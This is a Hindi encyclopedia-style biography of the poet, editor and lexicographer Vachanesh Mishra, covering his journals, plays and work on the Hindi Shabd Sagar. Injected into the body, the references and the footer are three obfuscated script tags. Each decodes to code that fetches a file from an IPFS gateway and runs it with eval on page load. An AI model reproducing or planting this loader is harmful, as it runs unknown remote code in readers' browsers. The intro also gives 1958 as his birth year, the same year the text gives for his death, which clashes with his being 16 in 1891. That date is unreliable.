वचनेश मिश्र

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

वचनेश मिश्र जन्म वैशाख शुक्ल 4, संवत् 1932 विक्रमी - सन् 1958 ई. को फर्रुखाबाद में हुआ था। हिन्दी साहित्यकार, पत्रकार, कोशकार थे। उन्होने नागरी प्रचारिणी सभा द्वारा सम्पादित हिन्दी शब्द सागर में महत्वपूर्ण योगदान दिया। वे उदार, शालीन, काव्य क्षेत्र में परंपरावादी, अछूतोद्वार पक्षपाती, विधवा-विवाह-समर्थक, तलाक प्रथा को प्रेम के लिए हानि कारक समझने वाले, दहेज विरोधी और भूत प्रेत तथा शकुन-अपशकुन आदि को व्यर्थ मानने वाले थे। कुछ दिनों बाद वचनेश जी सन्‌ 1908 ई. में राजा रामपाल सिंह से रूठकर फर्रुखाबाद चले आए। यहाँ आकर उन्होंने शिवप्रसाद मिश्र और लालमणि भट्टाचार्य वकील के साझे में 'आनंद प्रेस' स्थापित किया जिसमें अंततोगत्वा उन्हें भारी आर्थिक हानि उठानी पड़ी। इसी प्रेस में उनकी 'अनन्य प्रकाश' और 'वर्णांग व्यवस्था' नामक कृतियाँ प्रकाशित हुई थीं।

परिचय

वचनेश मिश्र का जन्म वैशाख शुक्ल 4, सन् 1932 वि. को फर्रुखाबाद में हुआ था। इनके पूर्वज पहले ज़िला हरदोई के नौगाँव (सुठिआएँ) में रहते थे पर बाद में फर्रुखाबाद चले आए थे। पुत्तूलाल वचनेश के पिता, मुन्नालाल पितामह, ठाकुरदास प्रपितामह और बद्री प्रसाद वृद्ध प्रपितामह थे। चूँकि वचनेश मिश्र अपने माता-पिता के एक मात्र पुत्र थे, इस कारण उनका लालन-पालन बड़े लाड़-प्यार के साथ किया गया। जब वे फारसी पढ़ रहे थे तब उनकी भेंट स्वामी दयानंद सरस्वती से हुई। स्वामी जी से प्रेरणा पाकर वचनेश मिश्र ने फारसी छोड़ हिंदी संस्कृत को अपने अध्ययन का विषय बनाया। कुछ समय बाद 'ब्रजविलास' पढ़ना आरंभ किया। बाद में उससे प्रेरित हो वे भजनों का निर्माण करने लगे।[1]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नौ वर्ष की उम्र में उनका विवाह हुआ। 10 वर्ष की उम्र से ही ये स्थानीय कवि सभा में भाग लेने लगे। इसके बाद उन्होंने 'भारत हितैषी' सन्‌ 1887 ई. आरंभ नामक मासिक निकाला। फतेहगढ़ से निकलने वाले पत्र 'कवि चित्रकार' की समस्या पूर्तियाँ भी वे करने लगे, जिसके संपादक कुंदनलाल से उन्हें पर्याप्त प्रोत्साहन भी मिला था। कालाकांकर के राजा रामपाल सिंह के अनुरोध से 'हिंदोस्थान' में भी वे अपनी रचनाएँ भेजने लगे। राजा रामपाल सिंह के बुलाने पर 16 वर्ष की अवस्था (सन्‌ 1891 ई.) में वचनेश मिश्र जी कालाकांकर चले गए और राजा साहब को पिंगल पढ़ाने लगे। 'हिंदोस्थान' के संपादक के रूप में अब वे संपादकीय लेख और टिप्पणियाँ भी लिखने लगे।[1]

कृतियाँ

अब तक उनकी 'भारती-भूषण' और 'भर्तृहरि निर्वेंद' संज्ञक कृतियाँ निकल चुकी थीं।

नाटक

उन्होंने कालाकांकर में 'कान्यकुब्ज-सभा', 'कविसमाज', 'नाटक मंडली', 'धनुषयज्ञ लीला' और 'रामलीला' जैसी कई संस्थाओं की स्थापना कर उनमें खेले जाने के लिए अनेक नाटकों की रचना भी की थी।

रचना

उपर्युक्त ओं में 'शबरी' का स्थान काफ़ी ऊँचा है जिसके प्रौढ़ काव्यकौशल और मनोरम भावविधान की सराहना समस्त हिंदी जगत्‌ ने मुक्त कंठ से ही है। श्रृंगार, हास्य, नीति और भक्ति ही उनकी सारी कविता के प्रमुख विषय थे।

हिंदी शब्दसागर का संपादन

इसी बीच वचनेश मिश्र जी 'नागरीप्रचारिणी सभा' काशी द्वारा 'हिंदी शब्दसागर' के संपादन के लिए आमंत्रित किए गए। उन्हें काव्य ग्रंथों से शब्द चुनने एवं उनके अर्थ लिखने का काम सौंपा गया। तीन मास काम करने के बाद वे अस्वस्थ हो गए और बाद में स्वस्थ होकर कालाकांकर नरेश राजा राजपाल सिंह के निधन के बाद उनके उत्तराधिकारी राजा रमेशसिंह के बुलाने पर पुन: कालाकांकर चले गए। वे अब निश्चित रूप से वहाँ रहकर पहले से ही निकलने वाले पत्र 'सम्राट' का संपादन करने लगे। फिर वे प्रतापगढ़ राज्य के सेक्रेटेरियट में काम करने लगे। पर इस नीरस काम में उनका मन न लगा और वे वहाँ से रायबरेली चले गये जहाँ 'मानस' पर हो रहे कार्य में तीन महीने तक रहकर सहायता पहुंचाई। तत्पचात्‌ वे फर्रुखाबाद आए और रस्तोगी विद्यालय के प्रधानाध्यापक बने। वचनेश ही फर्रखाबाद से रसिक' नामक पत्र मार्च, 1924 ई. से निकाल रहे थे, पर बाद में गयाप्रसाद शुक्ल 'सनेही' के आग्रह से यह पत्र 'सुकवि' में सम्मिलित कर लिया गया। अब 'सुकवि' में उनकी कविताएँ निकलने लगीं। इसके बाद राजा रमेशसिंह के पुत्र अवधेशसिंह फिर साग्रह उन्हें कालाकाँकर लिवा ले गए।

वचनेश मिश्र ने 'दरिद्रनारायण' (जुलाई, 1931 ई. से आरंभ) पत्र का संपादन किया। अवधेशसिंह की मृत्यु के बाद वे फिर फर्रुखाबाद आ गए और तब से अंत तक यहीं रहे। सन्‌ 1958 ई. में वचनेश जी गोलोकवासी हुए। वचनेश जी उदार, शालीन, काव्यक्षेत्र में परंपरावादी, अछूतोद्वार पक्षपाती, विधवा-विवाह-समर्थक, तलाक प्रथा को प्रेम के लिए हानि कारक समझने वाले, दहेज विरोधी और भूत प्रेत तथा शकुन अपशकुन आदि को व्यर्थ मानने वाले थे। चूँकि वचनेश जी ने आठ वर्ष की अवस्था से ही काव्य रचना आरंभ कर दी थी, इस कारण मृत्युकाल तक आते आते उन्होंने दर्जनों पुस्तकों का प्रणयन कर डाला था। स्वयं वचनेश जी अपने को 47 पुस्तकों का रचयिता बतलाते थे, जिनमें कई प्रसिद्ध हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 वचनेश मिश्र (हिन्दी) भारतखोज। अभिगमन तिथि: 20 जुलाई, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>हिन्दी साहित्यचरित कोश